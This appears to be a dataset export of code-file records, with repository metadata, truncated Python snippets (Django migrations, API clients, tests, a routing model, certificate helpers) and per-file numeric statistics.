Player A showed ... | 37.535088 | 79 | 0.62649 | 2,182 | 17,116 | 4.767186 | 0.179193 | 0.009133 | 0.006729 | 0.010767 | 0.208133 | 0.152278 | 0.090463 | 0.055086 | 0.050856 | 0.042973 | 0 | 0.001426 | 0.303459 | 17,116 | 455 | 80 | 37.617582 | 0.871079 | 0.406579 | 0 | 0.094787 | 0 | 0 | 0.059327 | 0.002249 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090047 | false | 0.118483 | 0.023697 | 0.004739 | 0.241706 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
b5cff4fdd46f8909e02bbf2707f338423530762f | 691 | py | Python | tests/test_metrics.py | tolmanam/python-nomad-alt | f93d3f6553cdb1ee16dadabd385208b5cc550024 | [
"MIT"
] | null | null | null | tests/test_metrics.py | tolmanam/python-nomad-alt | f93d3f6553cdb1ee16dadabd385208b5cc550024 | [
"MIT"
] | null | null | null | tests/test_metrics.py | tolmanam/python-nomad-alt | f93d3f6553cdb1ee16dadabd385208b5cc550024 | [
"MIT"
] | null | null | null | from nomad_alt import Nomad
import json
import uuid
from pprint import pformat
import os
import pytest
import nomad_alt.exceptions
import tests.common as common
@pytest.fixture
def nomad_setup():
n = Nomad(host=common.IP, port=common.NOMAD_PORT, ssl_verify=False, token=common.NOMAD_TOKEN)
with open(common.EX... | 24.678571 | 97 | 0.732272 | 108 | 691 | 4.564815 | 0.490741 | 0.05071 | 0.089249 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.182344 | 691 | 27 | 98 | 25.592593 | 0.872566 | 0 | 0 | 0 | 0 | 0 | 0.052098 | 0 | 0 | 0 | 0 | 0 | 0.26087 | 1 | 0.086957 | false | 0 | 0.347826 | 0 | 0.434783 | 0.043478 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
b5d20cd2d199da5465fadfa36c7ff94c0bda75f4 | 711 | py | Python | djAidESILV/products/migrations/0002_auto_20200522_1921.py | Kulumbaf/AidESILV | 04dad828048edffdd3662b24c415edce22fd3ea3 | [
"MIT"
] | null | null | null | djAidESILV/products/migrations/0002_auto_20200522_1921.py | Kulumbaf/AidESILV | 04dad828048edffdd3662b24c415edce22fd3ea3 | [
"MIT"
] | null | null | null | djAidESILV/products/migrations/0002_auto_20200522_1921.py | Kulumbaf/AidESILV | 04dad828048edffdd3662b24c415edce22fd3ea3 | [
"MIT"
] | null | null | null | # Generated by Django 2.2.12 on 2020-05-22 19:21
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('products', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='product',
name='baby_product',
... | 29.625 | 186 | 0.590717 | 73 | 711 | 5.657534 | 0.69863 | 0.087167 | 0.11138 | 0.130751 | 0.184019 | 0.184019 | 0 | 0 | 0 | 0 | 0 | 0.039623 | 0.254571 | 711 | 23 | 187 | 30.913043 | 0.739623 | 0.064698 | 0 | 0.352941 | 1 | 0 | 0.197587 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.058824 | 0 | 0.235294 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b5d34bad89b324ae2f55b466eea757d21d9ed3d6 | 363 | py | Python | django_eveonline_connector/migrations/0018_remove_evetoken_primary.py | KryptedGaming/django-eveonline-connector | 95fa146f4fcdf6bce84548b5cac1e5bf09cd72a0 | [
"MIT"
] | 3 | 2020-03-07T13:58:45.000Z | 2021-02-06T20:16:50.000Z | django_eveonline_connector/migrations/0018_remove_evetoken_primary.py | KryptedGaming/django-eveonline-connector | 95fa146f4fcdf6bce84548b5cac1e5bf09cd72a0 | [
"MIT"
] | 66 | 2019-12-17T20:54:22.000Z | 2021-06-10T20:39:04.000Z | django_eveonline_connector/migrations/0018_remove_evetoken_primary.py | KryptedGaming/django-eveonline-connector | 95fa146f4fcdf6bce84548b5cac1e5bf09cd72a0 | [
"MIT"
] | 2 | 2020-01-17T20:04:52.000Z | 2021-07-11T22:11:42.000Z | # Generated by Django 2.2.10 on 2020-02-27 18:21
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('django_eveonline_connector', '0017_primaryevecharacterassociation'),
]
operations = [
migrations.RemoveField(
model_name='evetoken',
... | 20.166667 | 78 | 0.630854 | 35 | 363 | 6.428571 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.075188 | 0.267218 | 363 | 17 | 79 | 21.352941 | 0.770677 | 0.126722 | 0 | 0 | 1 | 0 | 0.24127 | 0.193651 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.090909 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b5d8aec11bfc5cc12bac4a3e909d08cecced6658 | 6,260 | py | Python | utils/depot.py | Nikronic/Optimized-MDVRP | 92587bf4c110c7e6597cc3120dd0556a6e170ce2 | [
"MIT"
] | 16 | 2019-09-08T13:04:10.000Z | 2022-03-04T06:52:34.000Z | utils/depot.py | zhangruijuan/Optimized-MDVRP | 92587bf4c110c7e6597cc3120dd0556a6e170ce2 | [
"MIT"
] | 6 | 2019-09-19T20:38:19.000Z | 2019-10-14T17:35:54.000Z | utils/depot.py | Nikronic/Optimized-MDVRP | 92587bf4c110c7e6597cc3120dd0556a6e170ce2 | [
"MIT"
] | 4 | 2021-01-15T11:45:16.000Z | 2021-12-18T14:14:54.000Z | import numpy as np
from typing import List
from copy import deepcopy
from utils.customer import Customer
class Depot:
"""
Depot class represents a list of nodes assigned to this depot which we call a route.
This class is going to be filled by `Customers` class.
"""
def __init__(self, id, x, y, c... | 35.367232 | 118 | 0.585304 | 751 | 6,260 | 4.772304 | 0.18775 | 0.089844 | 0.080357 | 0.064174 | 0.255859 | 0.16769 | 0.16769 | 0.138393 | 0.114397 | 0.088728 | 0 | 0.000459 | 0.303834 | 6,260 | 176 | 119 | 35.568182 | 0.821937 | 0.353035 | 0 | 0.121622 | 0 | 0 | 0.062409 | 0.026705 | 0 | 0 | 0 | 0 | 0 | 1 | 0.202703 | false | 0 | 0.054054 | 0 | 0.445946 | 0.121622 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b5e3ba2877ce6a63efd56ee6ed3e28f80e3fe47d | 1,096 | py | Python | fixture/soap.py | DiastroniX/python_training_mantis | 86f145285bea716246788d7967e1de7c23661bae | [
"Apache-2.0"
] | null | null | null | fixture/soap.py | DiastroniX/python_training_mantis | 86f145285bea716246788d7967e1de7c23661bae | [
"Apache-2.0"
] | null | null | null | fixture/soap.py | DiastroniX/python_training_mantis | 86f145285bea716246788d7967e1de7c23661bae | [
"Apache-2.0"
] | null | null | null | from suds.client import Client
from suds import WebFault
from model.project import Project
class SoapHelper:
def __init__(self, app):
self.app = app
def can_login(self, username, password):
client = Client("http://localhost/mantisbt-1.2.20/api/soap/mantisconnect.php?wsdl")
try:
... | 34.25 | 117 | 0.588504 | 123 | 1,096 | 5.121951 | 0.406504 | 0.044444 | 0.07619 | 0.079365 | 0.203175 | 0.203175 | 0.203175 | 0.203175 | 0.203175 | 0.203175 | 0 | 0.010638 | 0.313869 | 1,096 | 32 | 118 | 34.25 | 0.827128 | 0 | 0 | 0.307692 | 0 | 0.076923 | 0.145852 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.115385 | false | 0.115385 | 0.115385 | 0 | 0.461538 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
b5f1bcd8c2a8c9268b813650480c225371c73233 | 7,401 | py | Python | kubevirt/models/v1_generation_status.py | ansijain/client-python | 444ab92a68371c1ccd89314753fa7ab5c4ac9bbe | [
"Apache-2.0"
] | 21 | 2018-02-21T23:59:28.000Z | 2021-12-08T05:47:37.000Z | kubevirt/models/v1_generation_status.py | ansijain/client-python | 444ab92a68371c1ccd89314753fa7ab5c4ac9bbe | [
"Apache-2.0"
] | 47 | 2018-02-01T15:35:01.000Z | 2022-02-11T07:45:54.000Z | kubevirt/models/v1_generation_status.py | ansijain/client-python | 444ab92a68371c1ccd89314753fa7ab5c4ac9bbe | [
"Apache-2.0"
] | 19 | 2018-04-03T09:20:52.000Z | 2021-06-01T06:07:28.000Z | # coding: utf-8
"""
KubeVirt API
This is KubeVirt API an add-on for Kubernetes.
OpenAPI spec version: 1.0.0
Contact: kubevirt-dev@googlegroups.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re
class V1Genera... | 27.411111 | 125 | 0.580327 | 826 | 7,401 | 5.105327 | 0.16707 | 0.034148 | 0.13659 | 0.024662 | 0.49751 | 0.44036 | 0.380839 | 0.293337 | 0.26986 | 0.26986 | 0 | 0.006946 | 0.338603 | 7,401 | 269 | 126 | 27.513011 | 0.854545 | 0.361573 | 0 | 0.073395 | 1 | 0 | 0.098356 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.165138 | false | 0 | 0.027523 | 0 | 0.330275 | 0.009174 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b5f7ed8a0664870db210f6051f62a7c08134ae57 | 9,357 | py | Python | tumblrlikes.py | cesarmiquel/Tumblr-Likes | 3a96e979dbb420553535dd73320f3e7206bcbbfc | [
"MIT"
] | 1 | 2017-03-09T23:47:19.000Z | 2017-03-09T23:47:19.000Z | tumblrlikes.py | cesarmiquel/Tumblr-Likes | 3a96e979dbb420553535dd73320f3e7206bcbbfc | [
"MIT"
] | null | null | null | tumblrlikes.py | cesarmiquel/Tumblr-Likes | 3a96e979dbb420553535dd73320f3e7206bcbbfc | [
"MIT"
] | null | null | null | import os
import urllib
import json
import pprint
from google.appengine.api import users
from google.appengine.ext import ndb
from google.appengine.api import urlfetch
import jinja2
import webapp2
JINJA_ENVIRONMENT = jinja2.Environment(
loader = jinja2.FileSystemLoader(os.path.dirname(__file__) + '/templates'),... | 36.267442 | 167 | 0.578284 | 1,071 | 9,357 | 4.900093 | 0.157796 | 0.0625 | 0.026677 | 0.029726 | 0.456555 | 0.392149 | 0.313834 | 0.276105 | 0.248666 | 0.240473 | 0 | 0.008027 | 0.294325 | 9,357 | 257 | 168 | 36.40856 | 0.786764 | 0.053222 | 0 | 0.247368 | 0 | 0.015789 | 0.114079 | 0.002377 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.047368 | null | null | 0.010526 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bd04f09ba2aeaba23212f09a5a18c36cfe707aa2 | 1,104 | py | Python | solutions/LeetCode/Python3/1049.py | timxor/leetcode-journal | 5f1cb6bcc44a5bc33d88fb5cdb4126dfc6f4232a | [
"MIT"
] | 854 | 2018-11-09T08:06:16.000Z | 2022-03-31T06:05:53.000Z | solutions/LeetCode/Python3/1049.py | timxor/leetcode-journal | 5f1cb6bcc44a5bc33d88fb5cdb4126dfc6f4232a | [
"MIT"
] | 29 | 2019-06-02T05:02:25.000Z | 2021-11-15T04:09:37.000Z | solutions/LeetCode/Python3/1049.py | timxor/leetcode-journal | 5f1cb6bcc44a5bc33d88fb5cdb4126dfc6f4232a | [
"MIT"
] | 347 | 2018-12-23T01:57:37.000Z | 2022-03-12T14:51:21.000Z | __________________________________________________________________________________________________
sample 32 ms submission
class Solution:
def lastStoneWeightII(self, stones: List[int]) -> int:
total = sum(stones)
sums = {0}
for s in stones:
sums |= {s + i for i in sums}
... | 39.428571 | 104 | 0.673007 | 124 | 1,104 | 3.596774 | 0.282258 | 0.044843 | 0.067265 | 0.06278 | 0.5 | 0.401345 | 0.401345 | 0.29148 | 0.29148 | 0.29148 | 0 | 0.015758 | 0.252717 | 1,104 | 28 | 105 | 39.428571 | 0.524848 | 0 | 0 | 0.37037 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bd0a67b7badc84d9a3a79ed71754a0226bee9e55 | 844 | py | Python | moistmaster/analytics/migrations/0001_initial.py | benjohnsonnlp/robosquirt | f96c58421532f9b956cec2277b7978022c7c1d80 | [
"BSD-3-Clause"
] | null | null | null | moistmaster/analytics/migrations/0001_initial.py | benjohnsonnlp/robosquirt | f96c58421532f9b956cec2277b7978022c7c1d80 | [
"BSD-3-Clause"
] | 7 | 2020-02-12T00:56:32.000Z | 2022-02-10T09:57:40.000Z | moistmaster/analytics/migrations/0001_initial.py | benjohnsonnlp/robosquirt | f96c58421532f9b956cec2277b7978022c7c1d80 | [
"BSD-3-Clause"
] | null | null | null | # Generated by Django 2.0.6 on 2019-07-10 03:56
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='WateringSession',
fields=[
('identifier', m... | 28.133333 | 99 | 0.535545 | 70 | 844 | 6.328571 | 0.714286 | 0.128668 | 0.117381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030195 | 0.332938 | 844 | 29 | 100 | 29.103448 | 0.756661 | 0.053318 | 0 | 0 | 1 | 0 | 0.14931 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.045455 | 0 | 0.227273 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bd0df2e5d3c7a33e0c8bc13d1922de1d4da4a323 | 3,706 | py | Python | app_startup4/views.py | konjing/django_sme_award | 840ed3685299c77be8516acf1e8a0123930dd63d | [
"MIT"
] | null | null | null | app_startup4/views.py | konjing/django_sme_award | 840ed3685299c77be8516acf1e8a0123930dd63d | [
"MIT"
] | 5 | 2021-03-19T02:32:48.000Z | 2021-06-10T19:01:30.000Z | app_startup4/views.py | konjing/django_sme_award | 840ed3685299c77be8516acf1e8a0123930dd63d | [
"MIT"
] | null | null | null | from django.shortcuts import render, redirect
from django.http import HttpResponse
from django.contrib import messages
from app_startup4.models import StartupCompetition
def registerListView(request):
""" จัดการข้อมูลและพิจารณา ผู้สมัครที่ส่งข้อมูลเข้ามา """
queryset = StartupCompetition.objects.filter(s... | 40.282609 | 120 | 0.674582 | 574 | 3,706 | 4.461672 | 0.198606 | 0.035143 | 0.019524 | 0.023428 | 0.792269 | 0.706365 | 0.641937 | 0.641937 | 0.641937 | 0.498243 | 0 | 0.007311 | 0.188073 | 3,706 | 91 | 121 | 40.725275 | 0.80658 | 0.213168 | 0 | 0.403846 | 0 | 0 | 0.169509 | 0.090846 | 0 | 0 | 0 | 0 | 0 | 1 | 0.096154 | false | 0 | 0.076923 | 0 | 0.346154 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bd12efd43b17ceb7fdeb18d7ab015b7b17528841 | 4,770 | py | Python | core/views.py | edwildson/djangosecommerce | 22541d24af52cd6f2d51196116a101583389b945 | [
"CC0-1.0"
] | 1 | 2021-11-05T20:35:00.000Z | 2021-11-05T20:35:00.000Z | core/views.py | edwildson/djangosecommerce | 22541d24af52cd6f2d51196116a101583389b945 | [
"CC0-1.0"
] | null | null | null | core/views.py | edwildson/djangosecommerce | 22541d24af52cd6f2d51196116a101583389b945 | [
"CC0-1.0"
] | null | null | null | # coding=utf-8
import functools
import warnings
from django.shortcuts import render
from .forms import ContactForm
from catalog.views import Product
from django.views.generic import View, TemplateView, CreateView
from django.contrib.auth import get_user_model
from django.contrib import messages
# Sobrecarga da classe... | 32.896552 | 89 | 0.637945 | 503 | 4,770 | 5.831014 | 0.318091 | 0.047733 | 0.034777 | 0.02864 | 0.054893 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001739 | 0.27652 | 4,770 | 144 | 90 | 33.125 | 0.84816 | 0.024528 | 0 | 0.077586 | 0 | 0 | 0.144737 | 0.039042 | 0 | 0 | 0 | 0 | 0 | 1 | 0.051724 | false | 0.094828 | 0.155172 | 0 | 0.293103 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
bd14aa72ec4ce2f35a4d3b6757b556fa6efbf5d2 | 2,636 | py | Python | ESMF/src/addon/ESMPy/examples/mesh_locstream_regrid.py | joeylamcy/gchp | 0e1676300fc91000ecb43539cabf1f342d718fb3 | [
"NCSA",
"Apache-2.0",
"MIT"
] | 1 | 2018-07-05T16:48:58.000Z | 2018-07-05T16:48:58.000Z | ESMF/src/addon/ESMPy/examples/mesh_locstream_regrid.py | joeylamcy/gchp | 0e1676300fc91000ecb43539cabf1f342d718fb3 | [
"NCSA",
"Apache-2.0",
"MIT"
] | 1 | 2022-03-04T16:12:02.000Z | 2022-03-04T16:12:02.000Z | ESMF/src/addon/ESMPy/examples/mesh_locstream_regrid.py | joeylamcy/gchp | 0e1676300fc91000ecb43539cabf1f342d718fb3 | [
"NCSA",
"Apache-2.0",
"MIT"
] | null | null | null | # This example demonstrates how to regrid between a mesh and a locstream.
import ESMF
import numpy
import ESMF.util.helpers as helpers
import ESMF.api.constants as constants
# This call enables debug logging
# ESMF.Manager(debug=True)
from ESMF.util.mesh_utilities import mesh_create_5, mesh_create_5_parallel
from E... | 35.621622 | 118 | 0.727238 | 368 | 2,636 | 5.081522 | 0.345109 | 0.025668 | 0.023529 | 0.02246 | 0.062032 | 0.045989 | 0.045989 | 0.045989 | 0.045989 | 0 | 0 | 0.026244 | 0.161609 | 2,636 | 73 | 119 | 36.109589 | 0.81991 | 0.215857 | 0 | 0.088889 | 0 | 0 | 0.076961 | 0 | 0 | 0 | 0 | 0.013699 | 0.022222 | 1 | 0 | false | 0 | 0.133333 | 0 | 0.133333 | 0.044444 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bd1785dbb7815b9bfadbb18331b534590567b760 | 2,105 | py | Python | Python Tutorial Django/pac/pac/main/views.py | PaulPan00/donkey_wrapper | a03cf0f42f65625fbce792b06c98acd153c5d6c8 | [
"MIT"
] | 6 | 2021-03-26T01:42:31.000Z | 2021-04-11T16:17:42.000Z | Python Tutorial Django/pac/pac/main/views.py | packetsss/Python | a03cf0f42f65625fbce792b06c98acd153c5d6c8 | [
"MIT"
] | null | null | null | Python Tutorial Django/pac/pac/main/views.py | packetsss/Python | a03cf0f42f65625fbce792b06c98acd153c5d6c8 | [
"MIT"
] | 7 | 2021-04-06T06:55:22.000Z | 2021-05-03T11:26:38.000Z | # Create by Packetsss
# Personal use is allowed
# Commercial use is prohibited
from django.shortcuts import render
# Create your views here.
from django.http import HttpResponse, HttpResponseRedirect
from .models import ToDoList, Item
from .forms import Create_list
def index(response, id):
lst = ToDoList.objects... | 30.071429 | 74 | 0.56152 | 251 | 2,105 | 4.677291 | 0.322709 | 0.061329 | 0.102215 | 0.122658 | 0.148211 | 0.11414 | 0.059625 | 0.059625 | 0 | 0 | 0 | 0.003411 | 0.303563 | 2,105 | 70 | 75 | 30.071429 | 0.797408 | 0.195249 | 0 | 0.116279 | 0 | 0 | 0.079667 | 0 | 0 | 0 | 0 | 0.014286 | 0 | 1 | 0.093023 | false | 0.023256 | 0.093023 | 0.046512 | 0.325581 | 0.046512 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bd1c3ef16239b0d584d630e4d1b4df484eba30ba | 371 | py | Python | wspay/migrations/0004_remove_wspayrequest_transactions.py | pinkdroids/django-wspay | 19b52cb19539577c812e512062ffb239f2d89190 | [
"MIT"
] | null | null | null | wspay/migrations/0004_remove_wspayrequest_transactions.py | pinkdroids/django-wspay | 19b52cb19539577c812e512062ffb239f2d89190 | [
"MIT"
] | null | null | null | wspay/migrations/0004_remove_wspayrequest_transactions.py | pinkdroids/django-wspay | 19b52cb19539577c812e512062ffb239f2d89190 | [
"MIT"
] | null | null | null | # Generated by Django 4.0.1 on 2022-01-20 15:12
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('wspay', '0003_rename_wspaytransaction_transactionhistory_and_more'),
]
operations = [
migrations.RemoveField(
model_name='wspayrequest',... | 20.611111 | 78 | 0.638814 | 37 | 371 | 6.243243 | 0.864865 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.069343 | 0.261456 | 371 | 17 | 79 | 21.823529 | 0.773723 | 0.121294 | 0 | 0 | 1 | 0 | 0.262346 | 0.17284 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.090909 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bd2df4074244dd69e6875bd543777ca99a678244 | 2,437 | py | Python | seoaudit/config.py | Guber/seoaudit | e38bc453629643f0282cdf9324e4f1db81f57f7f | [
"Apache-2.0"
] | 7 | 2019-12-10T17:05:14.000Z | 2020-11-10T10:10:45.000Z | seoaudit/config.py | Guber/seoaudit | e38bc453629643f0282cdf9324e4f1db81f57f7f | [
"Apache-2.0"
] | 3 | 2020-10-23T09:19:19.000Z | 2021-12-13T20:28:03.000Z | seoaudit/config.py | Guber/seoaudit | e38bc453629643f0282cdf9324e4f1db81f57f7f | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
from seoaudit.checks.element import ElementCheck
from seoaudit.checks.page import PageCheck
from seoaudit.checks.site import SiteCheck
page_tests = [(PageCheck.TEXT_TO_CODE_RATIO, {"min_ratio": 0.1}),
(PageCheck.DOM_SIZE, {"max_size": 1500}),
[PageCheck.ELEMENTS_SIMILA... | 50.770833 | 115 | 0.588839 | 267 | 2,437 | 5.224719 | 0.337079 | 0.103226 | 0.129032 | 0.122581 | 0.568459 | 0.415054 | 0.243728 | 0.193548 | 0.193548 | 0.107527 | 0 | 0.014 | 0.179319 | 2,437 | 47 | 116 | 51.851064 | 0.6835 | 0.045137 | 0 | 0.119048 | 0 | 0 | 0.444492 | 0.270224 | 0 | 0 | 0 | 0.021277 | 0 | 1 | 0 | false | 0 | 0.071429 | 0 | 0.071429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bd2e2477ed8bfb390dc1b2799ff2c5a263416a72 | 3,822 | py | Python | utils/certificate/tools.py | sr-gi/paysense | e896191b42c97009d56a23d54518569561064c42 | [
"BSD-3-Clause"
] | 2 | 2015-11-30T19:05:19.000Z | 2017-02-04T08:31:59.000Z | utils/certificate/tools.py | sr-gi/paysense | e896191b42c97009d56a23d54518569561064c42 | [
"BSD-3-Clause"
] | null | null | null | utils/certificate/tools.py | sr-gi/paysense | e896191b42c97009d56a23d54518569561064c42 | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) <2015> <Sergi Delgado Segura>
# Distributed under the BSD software license, see the accompanying file LICENSE
from pyasn1.codec.der import encoder, decoder
from pyasn1_modules.rfc2459 import Certificate
from Crypto.PublicKey import RSA
from M2Crypto import X509
from hashlib import sha256
from os import... | 34.745455 | 176 | 0.715856 | 532 | 3,822 | 5.048872 | 0.340226 | 0.023455 | 0.015637 | 0.018615 | 0.026806 | 0.026806 | 0.026806 | 0 | 0 | 0 | 0 | 0.018218 | 0.210099 | 3,822 | 109 | 177 | 35.06422 | 0.871481 | 0.579016 | 0 | 0.105263 | 0 | 0 | 0.05212 | 0 | 0 | 0 | 0 | 0.018349 | 0 | 1 | 0.105263 | false | 0 | 0.184211 | 0 | 0.394737 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bd32c31d868cb38b20ce13d60b0f31a73b04c464 | 309 | py | Python | dad.py | 1234borkowskip/WD151280 | 273d8a5b655e60eed1195125420462e1e11161cf | [
"MIT"
] | null | null | null | dad.py | 1234borkowskip/WD151280 | 273d8a5b655e60eed1195125420462e1e11161cf | [
"MIT"
] | null | null | null | dad.py | 1234borkowskip/WD151280 | 273d8a5b655e60eed1195125420462e1e11161cf | [
"MIT"
] | null | null | null | def cg(n, a1=1, q=2):
n = n - 1
while n > 0:
a1 = a1 * q
n = n - 1
return a1
print("{} wyraz ciagu geometrycznego gdzie a1 = {}, q = {} wynosi {}".format(4, 1, 5, cg(4, 1, 5)))
print("{} wyraz ciagu geometrycznego gdzie a1 = {}, q = {} wynosi {}".format(7, 1, 2, cg(7))) | 30.9 | 100 | 0.482201 | 51 | 309 | 2.921569 | 0.392157 | 0.060403 | 0.040268 | 0.389262 | 0.657718 | 0.657718 | 0.657718 | 0.657718 | 0.657718 | 0 | 0 | 0.099057 | 0.313916 | 309 | 10 | 101 | 30.9 | 0.603774 | 0 | 0 | 0.25 | 0 | 0 | 0.405316 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0 | 0 | 0.25 | 0.25 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
bd36b9e0da9470a5e37a78543606857028eee2e2 | 873 | py | Python | basic linear reg.py | recurshawn/Basic-Linear-Regression | e0ee45f58d45911d34a854f015ea196b159a2f8a | [
"MIT"
] | 2 | 2018-08-12T06:09:04.000Z | 2019-05-06T07:03:26.000Z | basic linear reg.py | recurshawn/Basic-Linear-Regression | e0ee45f58d45911d34a854f015ea196b159a2f8a | [
"MIT"
